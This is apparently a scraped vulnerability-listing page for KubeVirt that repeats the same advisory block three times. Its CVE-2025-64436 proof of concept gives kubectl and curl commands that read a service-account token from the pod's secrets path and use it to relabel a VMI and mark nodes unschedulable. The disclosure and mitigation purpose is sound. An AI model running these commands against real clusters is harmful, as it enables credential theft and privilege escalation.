Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Sep 13, 2020

v0.30.4 patch

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Jul 10, 2020

v0.30.2 patch

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Jun 25, 2020

v0.30.1 patch

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
